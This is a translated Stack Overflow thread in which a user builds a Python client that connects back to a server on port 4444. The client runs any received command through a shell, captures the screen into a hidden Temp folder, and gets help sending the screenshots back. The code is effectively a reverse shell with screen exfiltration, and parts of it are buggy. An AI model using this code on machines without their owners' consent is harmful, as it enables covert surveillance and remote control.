如何在远程Windows机器上截图并发送回来?

3
我正在尝试在远程Windows机器上截取屏幕。例如,当您在服务器上输入命令“截图”时,它会在客户端机器上截取屏幕,并将其保存到目录中,然后将其发送回服务器。我已经解决了第一部分,但无法弄清如何发送保存的文件回来。 服务器:
import socket
import sys
import subprocess

host = '192.168.1.25'
port = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind((host, port))
s.listen(1)

conn, addr = s.accept()
sendCommands(conn)

def sendCommands(conn):
    cmd = input('console > ')

    if len(str.encode(cmd)) > 0:
        conn.send(str.encode(cmd))
        clientResponse = str(conn.recv(1024), "utf-8")
        print('\n' + clientResponse, end="")

客户端:

import os
import sys
import subprocess
import socket
import autopy

def socketCreate():
    global host
    global port
    global s
    host = '192.168.1.25'
    port = 4444
    s = socket.socket()

def socketConnect():
    global host
    global port
    global s
    s.connect((host, port))

def recieveCommands():
    global s
    while True:
        data = s.recv(1024)
        if data[:].decode("utf-8") == 'screenshot':
            path = r'C:\Windows\Temp\LocalCustom\ssh\new\custom'
            screenshot = r'\screenshot.png'
            if not os.path.exists(path):
                os.makedirs(path)
            try:
                bitmap = autopy.bitmap.capture_screen()
                bitmap.save(path + screenshot)
                tookScreenShot = ('\n' + '[*] Succesfuly took screenshot at ' + path + '\n')
                s.send(str.encode(tookScreenShot))
            except:
                screenshotFailed = ('\n' + "[!] Couldn't take screenshot " + '\n')
                str(screenshotFailed)
                s.send(str.encode(screenshotFailed))
        else:
            if len(data) > 0:
                cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                output_bytes = cmd.stdout.read() + cmd.stderr.read()
                output_str = str(output_bytes, "utf-8")
                s.send(str.encode("utf-8"))
    s.close()

def main():
    socketCreate()
    socketConnect()
    recieveCommands()

main()
1个回答

0

你应该从客户端发送以下内容

f = open('tosend.jpg','rb')
print 'Sending the file'
file = f.read(1024)
while (file):
    print 'Sending...'
    s.send(file)
    file = f.read(1024)
f.close()

print "Done Sending"
s.shutdown(socket.SHUT_WR)
print s.recv(1024)
s.close() 

在服务器上

while True:
     file = open('C:/received.jpg','w')
     l = s.recv(1024)
     while l:
         print "Receiving..."
         file.write(l)
         l = s.recv(1024)
     file.close()
     print "Done Receiving"
     s.close()

我该如何在我的脚本中让它工作?服务器会是什么样子?我仍然想保留所有当前的代码。 - John Smith
你可以在服务器端创建一个文件来保存接收到的位,如果你想继续连接,只需删除我的答案的最后三行即可。 - wishmaster
我收到文件后,如何将其下载到服务器机器上的目录中? - John Smith
我已经添加到答案中了,这应该在你的服务器端进行,它将保存在C盘中,你可以将其更改为指定的文件夹路径。 - wishmaster
确保它们已连接并且服务器在s.recv(1024)中。 - wishmaster
显示剩余2条评论

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接